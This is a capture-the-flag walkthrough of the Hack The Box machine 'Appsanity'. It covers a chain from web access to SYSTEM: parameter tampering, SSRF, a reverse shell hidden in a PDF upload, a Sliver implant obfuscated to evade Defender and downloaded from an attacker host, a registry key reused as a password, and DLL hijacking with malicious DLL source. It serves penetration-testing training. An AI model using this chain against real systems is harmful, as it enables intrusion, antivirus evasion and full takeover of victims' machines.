Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.94 scan initiated Sun Oct 29 09:01:48 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.129.147.80
Nmap scan report for 10.129.147.80
Host is up (0.024s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://meddigi.htb/
443/tcp open https?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 29 09:02:19 2023 -- 1 IP address (1 host up) scanned in 31.64 seconds

It looks like a Windows webserver running IIS. So lets take a look at the website

https://meddigi.htb/

Upon registering, I noticed the parameter “acctype”

1
Name=docter&LastName=docter&Email=docter2%40meddigi.htb&Password=Coder123%21&ConfirmPassword=Coder123%21&DateOfBirth=2023-10-19&PhoneNumber=0123456789&Country=netherlands&Acctype=2&__RequestVerificationToken=CfDJ8In4b3iTNyJLvtUzyXK_RZU28N2bNFg28jij7KcifqhPqdChyIsvt3ov7-EjY73dg7il4ajgc6v0NdRW9CFzLZb9_UI0_lt08ZY3fpIzTZCJNDzbSjT810tV6KaoZxt0rEcTq6KZoQvk5ZN9i1Re_0k

If we change this from 1 to 2 we are a docter instead of a patient. But what can we do with this?

Finding portal subdomain

While scanning and fuzzing, I encoutered the portal subdomain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/htb/appsanity]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.meddigi.htb" -u https://meddigi.htb -fw 9

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : https://meddigi.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.meddigi.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 9
________________________________________________

portal [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 31ms]

We can login using a e-mail and password here:

However, we have a valid docter session token on the normal domain, we can actually copy the access_token cookie and use it on this page to login!

Finding SSRF

We now have 4 interesting pages with a lot of functionality:

In the “IKssue PRescriptions” tab I noticed that I can post a prescription link. I typed in my own ip and setup a webserver to listen for incoming connections:

  • This also worked for the localhost (running on port 8080)

If we hover over “view report” we can see the full path to the report. This got me thinking maybe we can use the upload report functionality to upload a aspx to get a reverse shell

Reverse shell by abusing SSRF

Te upload functionality only accepts PDF. But we can append a ASPX reverse shell at the end of a PDF and change the filename. So the webserver only checks for the magic bytes not the extension name here. This is why it works:

We upload a normal pdf file on the upload page and intercept the request. We now have to append this reverse shell at the end of the PDF:

https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

We also have to change the filename to .aspx:

Now we send the request and check the reports trough SSRF:

Full path to link:

1
https://portal.meddigi.htb/ViewReport.aspx?file=2fd46cd2-1f30-496e-b1ef-5b0e04e87bfd_shell.aspx

We can now trigger the reverse shell by using SSRF to get the file:

1
https://portal.meddigi.htb/ViewReport.aspx?file=2fd46cd2-1f30-496e-b1ef-5b0e04e87bfd_shell.aspx

And just like that we get a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\Users\svc_exampanel\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ==================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

C:\Users\svc_exampanel\Desktop>

Setting up C2

Next, I decided to setup a C2 since its Windows at it will be easier and more stable this way. I use Sliver to setup a listener on port 443 and generate me a .exe implant. But before uploading the .exe implant I decided to obfuscate and encrypt to so that it also bypasses Defender. For this I used Nimcryp2: https://github.com/icyguider/Nimcrypt2.

1
./nimcrypt -f WEARY_JACKAL.exe  -t pe -s -e -o WEARY_JACKAL_enc.exe

Now I download the encrypted implant to c:\windows\tasks:

1
C:\Windows\Tasks>powershell Invoke-Webrequest -Uri http://10.10.14.65/WEARY_JACKAL_enc.exe -o WEARY_JACKAL_enc.exe

And run it:

1
2
3
4
5
6
C:\Windows\Tasks>.\WEARY_JACKAL_enc.exe
.\WEARY_JACKAL_enc.exe
[*] Applying amsi patch: true
[*] Applying etw patch: true
[*] Decrypting packed exe...

This got me a session in Sliver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sliver > generate --http 10.10.14.65

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 18s
[*] Implant saved to /home/kali/htb/appsanity/WEARY_JACKAL.exe

[*] Session 4210f5ce WEARY_JACKAL - 10.129.147.80:54116 (Appsanity) - windows/amd64 - Sun, 29 Oct 2023 12:05:33 EDT

sliver > use 4210f5ce

[*] Active session WEARY_JACKAL (4210f5ce-1ab2-44a3-8c0e-fb6029a6d7b1)

sliver (WEARY_JACKAL) > whoami

Logon ID: APPSANITY\svc_exampanel
[*] Current Token ID: APPSANITY\svc_exampanel

This now allows me to run all kinds of programs in the same process and bypassing defender.

Privilege Escalation

Now that I have setup my C2 lets explore the filesystem. I noticed that in the inetpub directory there is a directory called databases:

1
2
3
4
5
6
7
8
9
sliver (WEARY_JACKAL) > ls /inetpub/Databases

C:\inetpub\Databases (4 items, 132.3 KiB)
=========================================
-rw-rw-rw- examinfo.db 20.0 KiB Sun Oct 29 08:50:41 -0700 2023
-rw-rw-rw- meddigi.db 32.0 KiB Sun Oct 29 09:04:40 -0700 2023
-rw-rw-rw- meddigi.db-shm 32.0 KiB Sun Oct 29 08:35:31 -0700 2023
-rw-rw-rw- meddigi.db-wal 48.3 KiB Sun Oct 29 08:38:35 -0700 2023

Lets download both databases:

1
2
3
4
5
6
7
sliver (WEARY_JACKAL) > download examinfo.db

[*] Wrote 20480 bytes (1 file successfully, 0 files unsuccessfully) to /home/kali/htb/appsanity/examinfo.db

sliver (WEARY_JACKAL) > download meddigi.db

[*] Wrote 32768 bytes (1 file successfully, 0 files unsuccessfully) to /home/kali/htb/appsanity/meddigi.db

Both are sqlite3:

1
2
3
4
┌──(kali㉿kali)-[~/htb/appsanity]
└─$ file *.db
examinfo.db: SQLite 3.x database, last written using SQLite version 3040001, writer version 2, read version 2, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
meddigi.db: SQLite 3.x database, last written using SQLite version 3040001, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x5, schema 4, UTF-8, version-valid-for 2+

But both databases did not hold any sensitive data.

Finding listening port 100

Using netstat we query the listening ports on the system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sliver (WEARY_JACKAL) > execute -o netstat -aon                                                                                                                                                                                             

[*] Output:

Active Connections

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:100 0.0.0.0:0 LISTENING 4468
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 2868
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 680
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 532
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1072
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1632
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 6

The port that stands out is port 100. Lets try to curl the port:

1
2
3
4
5
6
7
8
9
sliver (WEARY_JACKAL) > execute -o curl http://127.0.0.1:100

[*] Output:
[*] Stderr:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
curl: (1) Received HTTP/0.9 when not allowed
[!] Exited with status 1!

Not likely to be a webserver.

We can forward the port to 8080 localhost using Sliver:

1
2
3
sliver (WEARY_JACKAL) > portfwd add -r 127.0.0.1:100

[*] Port forwarding 127.0.0.1:8080 -> 127.0.0.1:100

If we netcat to the port we get:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/htb/appsanity]
└─$ nc 127.0.0.1 8080
Reports Management administrative console. Type "help" to view available commands.
help
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.

There is a folder in C:\Program Files called “Report Management” but our user does not have access to that folder.

Decompiling DLL

There is a interesting dll file in C:\inetpub\

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[*] C:\inetpub\ExaminationPanel\ExaminationPanel\bin

sliver (WEARY_JACKAL) > ls

C:\inetpub\ExaminationPanel\ExaminationPanel\bin (10 items, 6.2 MiB)
====================================================================
-rw-rw-rw- EntityFramework.dll 4.8 MiB Sun Sep 24 08:46:13 -0700 2023
-rw-rw-rw- EntityFramework.SqlServer.dll 577.9 KiB Sun Sep 24 08:46:11 -0700 2023
-rw-rw-rw- ExaminationManagement.dll 13.5 KiB Sun Sep 24 08:46:10 -0700 2023
-rw-rw-rw- Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll 39.2 KiB Sun Sep 24 08:46:10 -0700 2023
drwxrwxrwx roslyn <dir> Sun Sep 24 08:49:49 -0700 2023
-rw-rw-rw- System.Data.SQLite.dll 421.7 KiB Sun Sep 24 08:46:11 -0700 2023
-rw-rw-rw- System.Data.SQLite.EF6.dll 201.7 KiB Sun Sep 24 08:46:11 -0700 2023
-rw-rw-rw- System.Data.SQLite.Linq.dll 201.7 KiB Sun Sep 24 08:46:11 -0700 2023
drwxrwxrwx x64 <dir> Sun Sep 24 08:49:49 -0700 2023
drwxrwxrwx x86 <dir> Sun Sep 24 08:49:49 -0700 2023
  • The file ExaminationManagement.dll stands out. Lets download the file, start commando VM and upload it on dnSpy.

In the RetrieveEncryptionKeyFromRegistry() function, we can find the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// ExaminationPanel.index
// Token: 0x06000017 RID: 23 RVA: 0x00002234 File Offset: 0x00000434
private string RetrieveEncryptionKeyFromRegistry()
{
string text;
try
{
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\MedDigi"))
{
if (registryKey == null)
{
ErrorLogger.LogError("Registry Key Not Found");
base.Response.Redirect("Error.aspx?message=error+occurred");
text = null;
}
else
{
object value = registryKey.GetValue("EncKey");
if (value == null)
{
ErrorLogger.LogError("Encryption Key Not Found in Registry");
base.Response.Redirect("Error.aspx?message=error+occurred");
text = null;
}
else
{
text = value.ToString();
}
}
}
}
catch (Exception ex)
{
ErrorLogger.LogError("Error Retrieving Encryption Key", ex);
base.Response.Redirect("Error.aspx?message=error+occurred");
text = null;
}
return text;
}

It queries a register value from Software\\MedDigi called EncKey. We can try to query this value too on the box:

1
2
3
4
5
6
sliver (WEARY_JACKAL) > execute -o Reg Query "HKLM\Software\MedDigi"

[*] Output:

HKEY_LOCAL_MACHINE\Software\MedDigi
EncKey REG_SZ 1g0tTh3R3m3dy!!

Devdoc user

This could potentially be the password for another user. As we can see with evil-winrm

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/htb/appsanity]
└─$ evil-winrm -i 10.129.147.80 -u devdoc -p '1g0tTh3R3m3dy!!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\devdoc\Documents>

Credentials for devdoc:

1
devdoc:1g0tTh3R3m3dy!!

I also setup a session for sliver for this user.

1
2
3
4
5
6
7
8
9
10
11
[*] Session 3199678d WEARY_JACKAL - 10.129.147.80:55579 (Appsanity) - windows/amd64 - Sun, 29 Oct 2023 14:35:47 EDT

sliver (WEARY_JACKAL) > use 3199678d

[*] Active session WEARY_JACKAL (3199678d-7fd6-4f04-9d03-c294ef77f541)

sliver (WEARY_JACKAL) > whoami

Logon ID: APPSANITY\devdoc
[*] Current Token ID: APPSANITY\devdoc

This user is able to get in the ReportManagement directory which hold the executables for the port 100 service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sliver (WEARY_JACKAL) > cd ReportManagement

[*] C:\program files\ReportManagement

sliver (WEARY_JACKAL) > ls

C:\program files\ReportManagement (10 items, 12.1 MiB)
======================================================
-rw-rw-rw- cryptbase.dll 33.4 KiB Fri May 05 05:21:24 -0700 2023
-rw-rw-rw- cryptsp.dll 81.8 KiB Fri May 05 05:21:21 -0700 2023
drwxrwxrwx Libraries <dir> Mon Oct 23 11:33:34 -0700 2023
-rw-rw-rw- msvcp140.dll 550.9 KiB Thu Mar 11 10:22:10 -0700 2021
-rw-rw-rw- profapi.dll 137.2 KiB Sun Sep 17 03:54:40 -0700 2023
-rw-rw-rw- ReportManagement.exe 100.5 KiB Fri Oct 20 14:56:16 -0700 2023
-rw-rw-rw- ReportManagementHelper.exe 11.0 MiB Fri Oct 20 13:47:16 -0700 2023
-rw-rw-rw- vcruntime140.dll 93.9 KiB Thu Mar 11 10:22:10 -0700 2021
-rw-rw-rw- vcruntime140_1.dll 35.9 KiB Thu Mar 11 10:22:14 -0700 2021
-rw-rw-rw- wldp.dll 175.0 KiB Fri May 05 05:21:21 -0700 2023

Getting system

If we download the file to our localhost we can see that te executable is a PE32+ executable

1
2
3
┌──(kali㉿kali)-[~/htb/appsanity]
└─$ file ReportManagement.exe
ReportManagement.exe: PE32+ executable (GUI) x86-64, for MS Windows, 6 sections

We can load the executable in Ghidra and analyze it. After a while we can see interesting data in the .rdata field:

This function seems very interesting (i renamed some variables and labels to make it easier to read):

We can also find something happening in .rdata with a externalupload (dll likely) being called:

It looks like “externalupload” is trying to be executed from C:\Program Files\ReportManagement\Libraries. And since have write permissions in this folder, we can possible build our own externalupload.dll and get system:

We write our own dll and upload it into the Libraries directory:

1
2
3
4
5
6
7
8
9
10
11
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("C:\\windows\\tasks\\WEARY_JACKAL_enc.exe");
ExitProcess(0);
}
return TRUE;
}
  • This will call our implant to retrieve a new session as administrator in my C2

After upload we have to activate the dll by using netcat and the service running on port 100. And then we have to use the upload command:

And we now have a session as administrator: